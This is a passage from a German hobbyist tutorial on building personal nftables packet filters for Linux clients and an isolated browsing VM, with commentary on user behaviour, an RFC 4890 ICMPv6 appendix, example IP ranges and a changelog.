
#modprobe br_netfilter                                                                                      # enable Bridge-Filter

sysctl -w net.netfilter.nf_conntrack_helper=1 >/dev/null

 

ipv4=""

ipv6=""

ipv4_lan="127.0.0.0/8"

ipv6_lan="::1/128"

ipv4_netw=""

ipv6_netw=""

interface=""

 

tStart=$(date +%s)

tEnd=$(date +%s)

timeout=85

 

#=================================================================================================================

# Determine Network Site-Id's for IPv4+6 with waitstates (slaac may take some time)

 

GetNetw()

{

    tTmp=$(date +%s)

    NetwStack=$1

    ip=""

 

    while [ $timeout -gt 0 ]; do

        interface=$(ip route 2>/dev/null | grep default -m 1 | awk -F ' ' '{ print $5 }')

 

        if [ -n "$interface" ]; then

            ip=$(ip -$NetwStack -o addr show $interface | grep -v "deprecated\|^fd00" | grep "scope global" -m 1 | cut -d\  -f 7 | cut -d/ -f 1)

            [ -n "$ip" ] && break

        fi

 

        (( timeout-- ))

        sleep 1

    done

 

    tEnd=$(date +%s)

    if [ -z "$ip" ]; then

        echo "netfilter check NIC: terminated with error. IPv$NetwStack is not configured after $((tEnd-tTmp)) seconds waiting." | systemd-cat -t "thlu:$(basename $0)" -p "err"

        return 1

    else

        [ $NetwStack -eq 4 ] && ipv4_lan=$(echo $ip | cut -d'.' -f1-3)".0/24" && ipv4=$ip

        [ $NetwStack -eq 6 ] && ipv6_lan=$(echo $ip | cut -d':' -f1-4)"::/64" && ipv6=$ip

 

        echo "netfilter check NIC: $((tEnd-tTmp)) seconds waiting until IPv$NetwStack on $interface is configured" | systemd-cat -t "thlu:$(basename $0)" -p "info"

    fi

 

    return 0

}

#=================================================================================================================

 

SetInboundV4()

{

  nft add rule ip filter input ct state invalid counter drop                                                # Drop non-conforming packets (malformed headers, etc.)

  nft add rule ip filter input iifname lo accept                                                            # Allow loopback traffic

 

  nft add rule ip filter input ct state new           limit rate over 1/minute counter drop                 # limited number of packages allowed, drop flooding

  nft add rule ip filter input icmp type echo-request limit rate over 10/minute counter reject with icmp type host-unreachable

 

  nft add rule ip filter input ip protocol icmp                 ip saddr == $ipv4_netw accept               # Allow local icmp

  nft add rule ip filter input pkttype { broadcast, multicast } ip saddr == $ipv4_netw accept               # Allow local *cast-messages

  nft add rule ip filter input ct state established,related accept                                          # Allow established connections

 

  nft add rule ip filter input ip saddr $ipv4_netw tcp dport 55551 accept                                   # SSH

  nft add rule ip filter input ip saddr $ipv4_netw tcp dport 55552 accept                                   # VNC

 

  nft add rule ip filter input ip protocol tcp counter reject with tcp reset                                # TCP RST=Close TCP-Connect properly

  nft add rule ip filter input counter reject with icmp type port-unreachable                               # reject all other traffic

}

#=================================================================================================================

 

SetInboundV6()

{

  nft add rule ip6 filter input ct state invalid counter drop                                               # Similar to V4

  nft add rule ip6 filter input iifname lo accept

 

  nft add rule ip6 filter input ct state new             limit rate over 1/minute counter drop

  nft add rule ip6 filter input icmpv6 type echo-request limit rate over 10/minute counter reject with icmpv6 type port-unreachable

 

  nft add rule ip6 filter input meta l4proto ipv6-icmp           ip6 saddr == $ipv6_netw accept

  nft add rule ip6 filter input pkttype { broadcast, multicast } ip6 saddr == $ipv6_netw accept

  nft add rule ip6 filter input ct state established,related accept

 

  nft add rule ip6 filter input ip6 saddr $ipv6_netw tcp dport 55551 accept

  nft add rule ip6 filter input ip6 saddr $ipv6_netw tcp dport 55552 accept

 

  nft add rule ip6 filter input meta l4proto tcp counter reject with tcp reset

  nft add rule ip6 filter input counter reject with icmpv6 type port-unreachable

}

#=================================================================================================================

 

SetOutboundV4()

{

  nft add rule ip filter output oifname lo accept                                                           # Allow loopback traffic

  nft add rule ip filter output ip protocol icmp accept                                                     # Allow outgoing icmp

  nft add rule ip filter output pkttype { broadcast, multicast } accept                                     # Allow outgoing packet-types

  nft add rule ip filter output ct state established,related accept                                         # Allow established connections

 

  nft add rule ip filter output tcp dport    21 accept                                                      # FTP-Client

  nft add rule ip filter output tcp dport    25 accept                                                      # SMTP

  nft add rule ip filter output tcp dport    53 accept                                                      # DNS lookup

  nft add rule ip filter output udp dport    53 accept                                                      # DNS lookup

  nft add rule ip filter output tcp dport    80 accept                                                      # HTTP

  nft add rule ip filter output tcp dport   443 accept                                                      # HTTPS,OpenVPN (443->Router >>> VPNServer->55554)

  nft add rule ip filter output tcp dport   110 accept                                                      # POP3

  nft add rule ip filter output udp dport   123 accept                                                      # ntp

  nft add rule ip filter output tcp dport   143 accept                                                      # Mail

  nft add rule ip filter output tcp dport   445 accept                                                      # CIFS

  nft add rule ip filter output tcp dport   465 accept                                                      # SMTP (TLS/SSL)

  nft add rule ip filter output tcp dport   587 accept                                                      # SMTP

  nft add rule ip filter output tcp dport   631 accept                                                      # cups

  nft add rule ip filter output tcp dport   993 accept                                                      # IMAPS (TLS/SSL)

  nft add rule ip filter output tcp dport   995 accept                                                      # POP3S (TLS/SSL)

  nft add rule ip filter output tcp dport  5232 accept                                                      # radicale

  nft add rule ip filter output tcp dport  5901 accept                                                      # VNC-Tightviewer

  nft add rule ip filter output tcp dport 55551 accept                                                      # SSH

  nft add rule ip filter output tcp dport 55552 accept                                                      # VNC

  nft add rule ip filter output udp dport 55553 accept                                                      # OpenVPN

 

  nft add rule ip filter output counter reject with icmp type admin-prohibited

}

#=================================================================================================================

 

SetOutboundV6()

{

  nft add rule ip6 filter output oifname lo accept                                                          # Similar to V4

  nft add rule ip6 filter output meta l4proto ipv6-icmp accept

  nft add rule ip6 filter output pkttype { broadcast, multicast } accept

  nft add rule ip6 filter output ct state established,related accept

 

  nft add rule ip6 filter output tcp dport    21 accept

  nft add rule ip6 filter output tcp dport    25 accept

  nft add rule ip6 filter output tcp dport    53 accept

  nft add rule ip6 filter output udp dport    53 accept

  nft add rule ip6 filter output tcp dport    80 accept

  nft add rule ip6 filter output tcp dport   443 accept

  nft add rule ip6 filter output tcp dport   110 accept

  nft add rule ip6 filter output udp dport   123 accept

  nft add rule ip6 filter output tcp dport   143 accept

  nft add rule ip6 filter output tcp dport   445 accept

  nft add rule ip6 filter output tcp dport   465 accept

  nft add rule ip6 filter output tcp dport   587 accept

  nft add rule ip6 filter output tcp dport   631 accept

  nft add rule ip6 filter output tcp dport   993 accept

  nft add rule ip6 filter output tcp dport   995 accept

  nft add rule ip6 filter output tcp dport  5232 accept

  nft add rule ip6 filter output tcp dport  5901 accept

  nft add rule ip6 filter output tcp dport 55551 accept

  nft add rule ip6 filter output tcp dport 55552 accept

  nft add rule ip6 filter output udp dport 55553 accept

 

  nft add rule ip6 filter output counter reject with icmpv6 type admin-prohibited

}

#=================================================================================================================

 

SetForwardV4()

{

  nft add rule ip filter forward ct state related,established accept                                        # Allow established connections

  nft add rule ip filter forward counter drop

}

#=================================================================================================================

 

SetForwardV6()

{

  nft add rule ip6 filter forward ct state related,established accept                                       # Similar to V4

  nft add rule ip6 filter forward counter drop

}

#=================================================================================================================

 

nft flush ruleset

 

if [ -z "$1" ] || [ "$1" == "4" ]; then                                                                     # "" = both, only IPv4?

    GetNetw 4

 

    if [ $? -eq 0 ]; then

        ipv4_netw="$ipv4_lan"

 

        nft add table ip filter

        nft add chain ip filter forward "{ type filter hook forward priority 0; counter; }"

        nft add chain ip filter input "{ type filter hook input priority 0; counter; }"

        nft add chain ip filter output "{ type filter hook output priority 0; counter; }"

 

        SetInboundV4

        SetOutboundV4

        SetForwardV4

    fi

fi

 

if [ -z "$1" ] || [ "$1" == "6" ]; then

    GetNetw 6

 

    if [ $? -eq 0 ]; then

        ipv6_netw="{ $ipv6_lan, fd00::/16, fe80::/16 }"

 

        nft add table ip6 filter

        nft add chain ip6 filter forward "{ type filter hook forward priority 0; counter; }"

        nft add chain ip6 filter input "{ type filter hook input priority 0; counter; }"

        nft add chain ip6 filter output "{ type filter hook output priority 0; counter; }"

 

        SetInboundV6

        SetOutboundV6

        SetForwardV6

    fi

fi

#-----------------------------------------------------------------------------------------------------------------

 

echo "netfilter successfully activated after $(($(date +%s)-tStart)) seconds" | systemd-cat -t "thlu:$(basename $0)" -p "info"

exit 0

 

#-----------------------------------------------------------------------------------------------------------------

# Temporary validity:

 

echo "Paketfilter ist aktiv!"

sleep 2

$0  list

read -t 180 -p "180 Sekunden aktiver Paketfilter. ENTER zum Beenden oder warten..."

$0  flush

$0  list

exit 0

 

#=================================================================================================================

#EOF

Hier gibt‘s jetzt nur noch einen einzigen relevanten Aspekt:

INPUT:

conntrack state new

Es ist hier ein Client-Netfilter… die Betonung liegt auf Client …. und als solcher hat er keine fremden Verbindungen anzunehmen. Deshalb sind hier im Gegensatz zum Server-Netfilter ankommende neue Pakete konsequent an die lokalen Netzwerke und explizit benannten Ports gebunden.

4. Paketfilter für eine VM ohne Zugriff auf das lokale Netzwerk

Als letztes folgt hier ein Paketfilter für eine VM, gedacht für - ich nenne es mal- unseriöses Surfen in einer isolierten Umgebung, also quasi wie unter Quarantäne-Bedingungen. Ich selber verwende für unterschiedliche Zwecke jeweils eine eigene virtuelle Maschine, die alle mit VirtualBox eingerichtet sind. Die Besonderheit hier an dieser Stelle ist, dass dieser Filter nur Datenverkehr ins Internet erlaubt, aber jeglichen Zugriff auf Ressourcen des LANs verhindert.

Für diesen Paket-Filter gelten wie zuvor ebenfalls einfache Forderungen:

1.

Es ist grundsätzlich ein- und ausgehend alles verboten, einschließlich des Zugriffs auf Ressourcen des lokalen Netzwerkes

 
 

2.

Ausnahme: Der Zugriff auf das Internet ist erlaubt

 

/usr/local/bin/netfilter

Die Rechte-Einstellung für das Script:         root:root 755

 

#!/bin/bash

#=================================================================================================================

# Description:  Netfilter for a dubious-surfing-VM, to prevent access to home-network and local web-ressources

# Version:      2.0.1

# Date:         23.06.2020

# Written by:   TomL*thlu.de

# Licence:      GNU General Public License 3

# Usage:        netfilter                      Set Netfilter IPv4/6

#               netfilter flush                Flush Netfilter

#               netfilter list                 List all rules

#=================================================================================================================

PATH=/sbin:/usr/sbin:/bin:/usr/bin:$PATH

 

[ "$1" == "flush" ] && nft flush ruleset && echo "netfilter flushed!" | systemd-cat -t "thlu:$(basename $0)" -p "warning"

[ "$1" == "list" ] && nft -nn list ruleset

[ -n "$1" ] && exit 0

 

echo "netfilter started!" | systemd-cat -t "thlu:$(basename $0)" -p "info"

 

modprobe nf_conntrack

sysctl -w net.netfilter.nf_conntrack_helper=1 >/dev/null

 

ipv4=""

ipv6=""

ipv4_lan="127.0.0.0/8"

ipv6_lan="::1/128"

ipv4_netw=""

ipv6_netw=""

interface=""

 

tStart=$(date +%s)

tEnd=$(date +%s)

timeout=85

 

#=================================================================================================================

# Determine Network Site-Id's for IPv4+6 with waitstates (slaac may take some time)

 

GetNetw()

{

    tTmp=$(date +%s)

    NetwStack=$1

    ip=""

 

    while [ $timeout -gt 0 ]; do

        interface=$(ip route 2>/dev/null | grep default -m 1 | awk -F ' ' '{ print $5 }')

 

        if [ -n "$interface" ]; then

            ip=$(ip -$NetwStack -o addr show $interface | grep -v "deprecated\|^fd00" | grep "scope global" -m 1 | cut -d\  -f 7 | cut -d/ -f 1)

            [ -n "$ip" ] && break

        fi

 

        (( timeout-- ))

        sleep 1

    done

 

    tEnd=$(date +%s)

    if [ -z "$ip" ]; then

        echo "netfilter check NIC: terminated with error. IPv$NetwStack is not configured after $((tEnd-tTmp)) seconds waiting." | systemd-cat -t "thlu:$(basename $0)" -p "err"

        return 1

    else

        [ $NetwStack -eq 4 ] && ipv4_lan=$(echo $ip | cut -d'.' -f1-3)".0/24" && ipv4=$ip

        [ $NetwStack -eq 6 ] && ipv6_lan=$(echo $ip | cut -d':' -f1-4)"::/64" && ipv6=$ip

 

        echo "netfilter check NIC: $((tEnd-tTmp)) seconds waiting until IPv$NetwStack on $interface is configured" | systemd-cat -t "thlu:$(basename $0)" -p "info"

    fi

 

    return 0

}

#=================================================================================================================

 

GetNetw 4

GetNetw 6

 

ipv4_netw="{ $ipv4_lan }"

ipv6_netw="{ $ipv6_lan, fd00::/16, fe80::/16 }"

 

#-----------------------------------------------------------------------------------------------------------------

 

nft flush ruleset

nft add table inet filter

nft add chain inet filter input   "{ type filter hook input   priority 0; policy drop; counter; }"

nft add chain inet filter output  "{ type filter hook output  priority 0; policy drop; counter; }"

nft add chain inet filter forward "{ type filter hook forward priority 0; policy drop; counter; }"

 

nft add rule inet filter input iifname lo accept

nft add rule inet filter input ct state invalid counter drop

nft add rule inet filter input icmp   type echo-request limit rate over 10/minute counter reject with icmp type host-unreachable

nft add rule inet filter input icmpv6 type echo-request limit rate over 10/minute counter reject with icmpv6 type addr-unreachable

nft add rule inet filter input ip  protocol icmp       ip  saddr == $ipv4_netw accept

nft add rule inet filter input meta l4proto ipv6-icmp  ip6 daddr == $ipv6_netw accept

nft add rule inet filter input pkttype { broadcast, multicast } accept

nft add rule inet filter input ct state established,related accept

nft add rule inet filter input counter reject with icmp type host-unreachable

 

nft add rule inet filter output ct state established,related accept

nft add rule inet filter output pkttype { broadcast, multicast } accept

nft add rule inet filter output ip protocol icmp       ip  daddr != $ipv4_netw accept

nft add rule inet filter output meta l4proto ipv6-icmp ip6 daddr != $ipv6_netw accept

nft add rule inet filter output tcp dport 53 accept

nft add rule inet filter output udp dport 53 accept

nft add rule inet filter output tcp dport { 80, 443 }  ip  daddr != $ipv4_netw accept

nft add rule inet filter output tcp dport { 80, 443 }  ip6 daddr != $ipv6_netw accept

nft add rule inet filter output counter reject with icmp type admin-prohibited

 

nft add rule inet filter forward ct state related,established accept

nft add rule inet filter forward counter drop

 

echo "netfilter successfully activated after $(($(date +%s)-tStart)) seconds" | systemd-cat -t "thlu:$(basename $0)" -p "info"

 

exit 0

 

#=================================================================================================================

#EOF

Auch hier gibt‘s jetzt nur noch wenige neue Aspekte:

OUTPUT:

ICMP

Ist zur Diagnose bei Netzwerkproblemen erlaubt, und ist für IPv6 zwingend notwendig.

Eingehende Verbindungen über das ICMP-Protokoll sind nur aus dem lokalen Netzwerker erlaubt.

Ausgehende Verbindungen sind nur ins Internet erlaubt.

ipv4_netw und  ipv6_netw

Ausgehende Verbindungen ins lokale Netzwerk sind  für alle betroffenen Subnetze verboten.

ipv6

Für IPv6-Verbindungen empfehle ich unbedingt die Privacy Extensions zu aktivieren

Epilog

So… weil es jetzt zu diesem letzten Filter nichts zusätzliches mehr zu sagen gibt, was nicht schon bei den vorherigen besprochen wurde, glaube ich, ich bin durch. Ich habe alles gesagt oder besprochen, von dem ich glaube, dass es wichtig ist und besprochen werden muss oder wenigstens erwähnt werden sollte. Und ich hoffe natürlich, dass jetzt wirklich auch dem Letzten klar ist, dass es keinen umfassenden Schutz gibt, den man sich mal eben auf die Schnelle mit apt install auf seinem Rechner installierten kann. Jedes System hat eigene Besonderheiten, eigene Aufgaben und unterliegt deshalb eigenen Bedrohungsszenarien ... und es muss jedes mal eine dazu passende eigene Lösung gefunden werden. Jetzt aber mal Butter bei die Fische …. um auf Deine Eingangsfrage von ganz oben zurückzukommen… kannst Du jetzt Deine eigene Personal Firewall einrichten…. hast Du genug Infos bekommen, um das Problem lösen zu können? „Tja, was soll ich sagen, mittlerweile glaube ich, wenn ich das mit den Rechten mache, also das meine Rechte nicht missbraucht werden können, weil ich selber kein Admin mehr bin ...dann das mit dem Browser und dem Ublocker und dann auch noch meine Softwarequellen neu ordne… ich glaube, dann brauch ich nicht wirklich eine Firewall.“

Ja, das sehe ich auch so… mit der Vorgehensweise und mit einem sicheren Betriebssystem, wie es meiner Meinung nach Debian mit einem Alleinstellungsmerkmal bei den populären Home-PC-Distributionen ist, bist Du dann auf einem richtig guten Weg. Ich bin davon überzeugt, dass die meisten privaten Home-PC-User völlig falsche Vorstellungen von einer auf ihrem PC installierten Personal Firewall haben, weil sie eine Sicherheit erwarten, die eine solche Firewall unter den im privaten Zuhause vermutlich mehrheitlich bestehenden Umständen gar nicht leisten kann. Und ich wette darauf, dass den meisten Anwendern gar nicht bewusst ist, dass sie mit ihrem gewohnten Verhalten an der Tastatur die von der Firewall ausgehende Sicherheit faktisch wieder radikal aushebeln. Deswegen glaube ich, dass ein zuvor geändertes Anwender-Verhalten zu einem bewussteren Verhalten an Tastatur und Bildschirm die Sicherheit signifikant mehr verbessert, als es die Installation einer Personal Firewall ermöglicht, wenn man gleichzeitig an seinem früheren Leichtsinnigkeit, Leichtgläubigkeit festhält.

Wenn jemand nach gründlichen Überlegungen allerdings wirklich zu dem persönlichen Schluss kommt, dass sein Netzwerk und die privaten Daten ausreichend sensibel und wichtig genug sind, um unbedingt durch eine Firewall vor Zugriffen von außen geschützt werden zu müssen, so empfehle ich ihm hier: Vergiss alles, was ich hier beschrieben habe, das ist mit einer Personal Firewall auf den PCs bei solchen Anforderungen letztlich nix halbes und ganzes. Wenn es wirklich sicher sein soll, geht es tatsächlich nur mit einer Router-Firewall, die zwischen LAN und Internet den Traffic auch wirklich reguliert … also mit zusätzlicher dedizierter Hardware und einer Firewall wie z.B. pfSense, OPNsense oder vielleicht openwrt. Ich persönlich habe mich dagegen entschieden, aber das ist in keinster Weise eine Empfehlung, das ebenfalls so zu sehen.

Mit dem letzten Satz gebe ich dir außerdem noch folgenden Ratschlag: wenn Du die Sicherheitslage deines Pcs/Netzwerks wirklich ändern willst, musst Du zuallererst Dein Verhalten ändern, erst danach kommt die Personal Firewall hinzu… andersrum funktioniert das nicht. Allerdings, um‘s nicht zu vergessen, wenn Du mit einem Laptop auf die Reise gehst … und den Laptop mit wechselnden Accesspoints verbindest … da würde ich Dir den Paketfilter aber doch unbedingt empfehlen … jetzt schon … sicher ist sicher….

 

Anhang RFC4890

# Permit needed ICMP packet types for IPv6 per RFC 4890

# 4.4.  Recommendations for ICMPv6 Local Configuration Traffic          Type                                                    NFT symbolic alias

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

table ip6 tfilter {

    chain input {

        type filter hook input priority 0; policy accept;

        icmp type 1 accept                                              #   1 - Destination Unreachable                         destination-unreachable

        icmp type 2 accept                                              #   2 - Packet Too Big                                  packet-too-big

        icmp type 3 accept                                              #   3 - Time Exceeded                                   time-exceeded

        icmp type 4 accept                                              #   4 - Parameter Problem                               source-quench

        icmp type 128 accept                                            # 128 - Echo Request                                    echo-request

        icmp type 129 accept                                            # 129 - Echo Reply                                      echo-reply

        icmp type 133 accept                                            # 133 - Router Solicitation                             nd-router-solicit

        icmp type 134 accept                                            # 134 - Router Advertisement                            nd-router-advert

        icmp type 135 accept                                            # 135 - Neighbor Solicitation                           nd-neighbor-solicit

        icmp type 136 accept                                            # 136 - Neighbor Advertisement                          nd-neighbor-advert

        icmp type 137 accept                                            # 137 - Redirect Message                                nd-redirect

        icmp type 141 accept                                            # 141 - Inverse Neighbor Discovery                      -

        icmp type 142 accept                                            # 142 - Inverse Neighbor Discovery                      -

        icmp type 148 accept                                            # 148 - Certification Path Solicitation Message         -

        icmp type 149 accept                                            # 149 - Certification Path Advertisement Message        -

        icmp type 130 ip6 saddr fe80::/10 accept                        # 130 - Multicast Listener Query                        mld-listener-query

        icmp type 131 ip6 saddr fe80::/10 accept                        # 131 - Multicast Listener Report                       mld-listener-report

        icmp type 132 ip6 saddr fe80::/10 accept                        # 132 - Multicast Listener Done                         mld-listener-reduction

        icmp type 143 ip6 saddr fe80::/10 accept                        # 143 - Version 2 Multicast Listener Report             -

        icmp type 151 ip6 saddr fe80::/10 accept                        # 151 - Multicast Router Advertisement                  -

        icmp type 152 ip6 saddr fe80::/10 accept                        # 152 - Multicast Router Solicitation                   -

        icmp type 153 ip6 saddr fe80::/10 accept                        # 153 - Multicast Router Termination                    -

    }

}

Anmerkungen zu den verwendeten Beispiel-IP-Adressen:

IP-Ranges für Dokumentationen:

2001:db8::/32      Documentation    [RFC3849]

198.51.100.0/24    Documentation    [RFC5737]

203.0.113.0/24     Documentation    [RFC5737

Hier in den Beispielen verwendet:

10.0.1.0

IPv4

 

Lokales LAN

10.0.8.0

IPv4

 

VPN UDP

10.0.9.0

IPv4

 

VPN TCP

fd00:10:0:8::/64

IPv6

 

VPN UDP

fd00:10:0:9::/64

IPv6

 

VPN TCP

2001:db8:f3:40/56

IPv6

lokaler Router

vom ISP zugewiesener Prefix

198.51.100.34

IPv4

 

vom ISP zugewiesene WAN-IP

2001:db8:f3:40::1/64

IPv6

 

Global Unicast Address

10.0.1.1/24

IPv4

 

LAN-interne Adresse

2001:db8:f3:40:cc29:baff:fed9:22/64 

IPv6

lokaler Client-PC

Global Unicast Address via SLAAC

2001:db8:f3:40::25/64

IPv6

 

Global Unicast Address

10.0.1.25/24

IPv4

 

LAN-interne Adresse

2003:zdb8:22:81b::200

IPv6

fremder Web-Host

Global Unicast Address

Achtung: zdb8 ist eine ungültige Angabe, die aber konfliktfrei bei versehentlicher Übernahme bleibt

203.0.113.12

IPv4

 

WAN-IP-Adresse

Zu guter Letzt:

Haftungsausschluss

Die von mir geschriebenen Bash-Script-Programme zum Setzen der Paketfilter-Regeln sind nur Wrapper für das Linux-Programm nftables. Die Bash-Scripte selber verändern nicht das installierte Betriebssystem und schreiben/erstellen außer journald-Einträgen bei Start und Ende und dem aktuellen ISP-Prefix für IPv6 als Vergleichswert keine weiteren Daten.

Ich erhebe keinen Anspruch darauf, dass die Scripte vollständig fehlerfrei programmiert sind und ich behaupte das auch nicht. Sowohl durch Programmierfehler in meinen Code, wie auch durch vorhandene Fehler in den verwendeten Linux-Programmen, sowie durch ggf. zeitgleich auftretende äußere mechanische Einflüsse, wie auch durch den Anwender selber verursacht durch Änderungen an den Programmen oder durch unsachgemäße oder fehlerhafte Einstellungen oder falsche Parameterübergaben innerhalb der Programme ist Datenverlust möglich, wenn z.B. laufende Prozesse durch fehlerhafte Filterregeln so blockiert werden, dass sie nicht mehr ihre Aufgabe erfüllen können.

Deshalb schließe ich jede Haftung für Schäden an Software oder Hardware oder Vermögensschäden oder für Datenverlust aus, die durch die Benutzung der Programm-Scripte enstehen. Die Benutzung der Programme erfolgt auf eigenes Risiko.

 

Änderungsprotokoll

 

 

Datum                    Änderung

01.09.2018

Ports für Avahi entfernt. Siehe Hinweise Avahi

22.01.2019

Portierung des iptables-Regel-Sets nach nftables

27.01.2019

1.  Chain output Regel für 'lo' und LPD hinzugefügt

2.  Packet-Type broadcast, unicast, multicast = accept   (Behebung von Problemen bei LAN-Interner Client-/Prozess-Kommunikation)

3.  Redaktionelle Änderungen

09.02.2019

Regeln für temporäres (hier 3 Minute) Bannen von IP-Adressen eingefügt, die durch eine multiple Anzahl von abgebrochenen Connect-Versuchen in kürzester Zeit aufgefallen sind.

21.07.2019

Beheben von 3 konzeptionellen Regelfehlern (Designfehler), von denen 2 unter bestimmten Bedingungen die Folgeverarbeitung weiterer unterhalb vorhandener Regeln außer Kraft gesetzt haben, wodurch teilweise der Paketfilter neutralisiert wurde.

1.  Zu scharf eingestellter Filter für externe Pakete (...was für diesen Fall zunächst soweit OK war, was aber gleichzeitig auch die Quelle des Problems war).

2.  Pkt 1. hatte zusätzlich einen unerwünschten Einfluss auf LAN-internen Traffic, der -um das zu umgehen- wiederum mit einer eigenen Regel begünstigt wurde. Und genau das hatte zur Folge, dass unterhalb folgende Port-Regeln quasi nicht mehr beachtet wurden.

3.  Die fälschlicherweise eingefügte Beachtung für ‚Unicast‘ in der Kombination „Broadcast, Multicast, Unicast“ als Match-Condition mit Accept wurde entfernt. Weil alle regulären TCP-Pakete Unicast-Character haben, fällt der Paketfilter (hinterhältigerweise) nicht mit „Geht-Nicht-Fehlern“ auf,… ganz im Gegenteil, alles funktioniert perfekt… solange bis man einen Port hinter dieser Regel sperrt, was dann leider unwirksam bleibt.

26.07.2019

Nachträglich die limit rate over 3/minute auf limit rate over 2/minute bei syn-Flag-Paketen als Reaktion auf die derzeit ständig stattfindenden fremden Verbindungsversuche gekürzt.

06.08.2019

Parameter-Fehler bei Festlegung "hook" korrigiert

22.08.2019

Beheben eines konzeptionellen Regelfehlers (Designfehler) im Netfilter-Script des Servers, der aufgrund zu strenger Auslegung teilweise Funktionen bei VPN-Verbindungen unterbunden bzw. behindert hat. Der Filter war zu radikal. Lösung: explizite Behandlung von Verbindungen aus den VPN-Subnetzen

 

Harmonisierung der in den Beispielen verwendeten IP-Adressen in den Artikeln security, openvpn, cameventctl  zur Verbesserung der Zusammenhang-Darstellung.

12.09.2019

 ‚Unicast‘ auch in ausgehenden Regeln entfernt. Siehe dazu Änderung 21.07.19, Pkt. 3.

16.10.2019

Port-Regeln für 53 (DNS-Lookup) bei Server und Client entfernt (inbound) .... ist schlichtweg unnötig. (Achtung: gilt nicht für Pihole-Systeme)

 

Priority-Fehler in Prerouting-Chain behoben

 

Inbound-Regeln von TCP-Syn-Flag auf Conntrack-State 'new' geändert.

 

Besondere Beachtung der established-Regel (inbound)  (siehe Hinweise unterhalb des Regel-Scripts für den Server).

 

Forward-Regeln bereinigt

 

Programmablauf für Server- und Client-Script überarbeitet, wobei die grundsätzliche Logik erhalten geblieben ist.

12.12.2019

Implementierung einer Dual-Stack-Unterstützung IPv4/v6 (NAT vom Heimnetz) für mobile OpenVPN-Clients.

 

Netfilter-Regeln gegen CVE-2019-14899 für mobile OpenVPN-Clients

19.01.2020

Bisherige Zugänge zum Samba-Server über NETBIOS auf Port 139 und SMB/TCP  auf Port 445 wurden auf den Port 445 beschränkt. NETBIOS ist ein älteres Protokoll mit bekannten Risiken. Für Linux-, Windows- und Android-Geräte konnten nach der Änderung keine Probleme festgestellt werden, alle Cliente verwenden problemlos SMB/TCP. Begleitende Änderung in smb.conf:

   disable netbios = yes

   smb ports = 445

05.04.2020

Unwirksame bzw. überholte Forward-Regeln entfernt:

nft add rule ip filter forward iifname $interface udp dport 55553 accept

nft add rule ip filter forward iifname $interface tcp dport 55554 accept

29.06.2020

Bugfix Funktion GetNetw()

Alt:  grep -v "deprecated\|fd00"

Neu:  grep -v "deprecated\|^fd00"

 

Regeln für UDP-Ports 137 + 138 zur Unterstützung veralteter SMB-Protokolle für sicherheitskritisches Netbios entfernt. Service nmdb wurde auf dem Server maskiert.

# systemctl status nmbd

●  nmbd.service

   Loaded: masked (Reason: Unit nmbd.service is masked.)

   Active: inactive (dead)

< Startseite >